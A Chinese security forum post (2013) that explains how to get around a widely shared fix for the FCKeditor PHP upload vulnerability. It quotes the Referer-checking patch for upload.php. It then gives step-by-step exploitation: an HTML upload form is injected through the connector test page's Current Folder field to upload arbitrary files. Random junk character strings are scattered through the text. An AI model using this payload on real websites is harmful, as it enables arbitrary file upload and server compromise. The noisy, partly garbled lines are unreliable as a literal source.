找回密码
 立即注册
查看: 2865|回复: 0
打印 上一主题 下一主题

fckeditor 漏洞修复后的二次利用

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:12:44 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞文件:editors/fckeditor/editor/filemanager/upload/php/upload.php  r& k2 S- c. T9 Y$ b
网上给出的修复方案是9 {: A" E: z* g+ h$ m1 r
修复方法,删除FCK编辑器用其他的编辑器
% w, J; W8 l8 S/ A# W" \或者找到 editors/fckeditor/editor/filemanager/upload/php/upload.php 文件
+ j, J+ Z5 y/ _  P% S  c+ k) f$ D1 e3 m- a7 ^, d8 [/ Q0 f
require(‘config.php’);2 B- O; Q4 U+ Z
require(‘util.php’);
4 e: j1 k4 a4 R7 @8 |的下面添加以下代码—————————–
' ~3 q2 `6 e2 i, U: T7 X! U* M//防止外部提交1 q- ^4 s" u, ]* p
function outsidepost()& {4 d* ?$ \0 l0 J  ~( S# X& N( B
{# Z+ P' b8 E1 {5 b$ A8 x
$servername=$_SERVER['SERVER_NAME'];$ b; o4 f+ r' U6 P
$sub_from=@$_SERVER['HTTP_REFERER'];
; |& D* n2 J4 E1 B! d; Y+ |$sub_len=strlen($servername);3 r* _% ~6 w/ Y6 l" K
$checkfrom=substr($sub_from,7,$sub_len);; C, \' d! B: \) H1 ~3 U0 x+ R, A5 c
if($checkfrom!=$servername){" c0 u0 M9 W5 ~& m6 U' C( o
echo(“you don’t outsidepost!”);6 g3 h; B* J, E' H, l3 `' L
exit;2 Z5 p4 `  o0 h0 M' e, a' n" j  V
}  y" s0 `0 f( P" p! a' S% I
}( G# [: u9 s; X0 S0 j- u( I
outsidepost();3 |, [& E, h  c& A
防止外部提交,但是没有防止内部提交,) }* g. E. r3 y5 y
利用方法:% Q) T5 K9 k+ P; L. `
1,打开 editors/fckeditor/editor/filemanager/browser/default/connectors/test.html
9 G+ E  ~! ~6 T: E2,在Current Folder 框输入
  u$ V( S7 L4 |0 f! g<form id=frmUpload enctype=multipart/form-data action=http://www.url.com/editors/fckeditor/editor/filemanager/upload/php/upload.php?Type=Media method=post>Upload a new file:<br><input type=file name=NewFile size=50><br><input id=btnUpload type=submit value=Upload></form>7 \0 c7 X3 f4 v* F, P5 x6 ]6 Y
然后 Get Folders and Files 就会出现一个上传表单,即可上传任意文件类型。
# d4 p& r& M* ~' ]) n  \/ C. W6 \  tPS:如果 editors与上传的文件夹设置了403 500 404 权限 利用就无效了。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表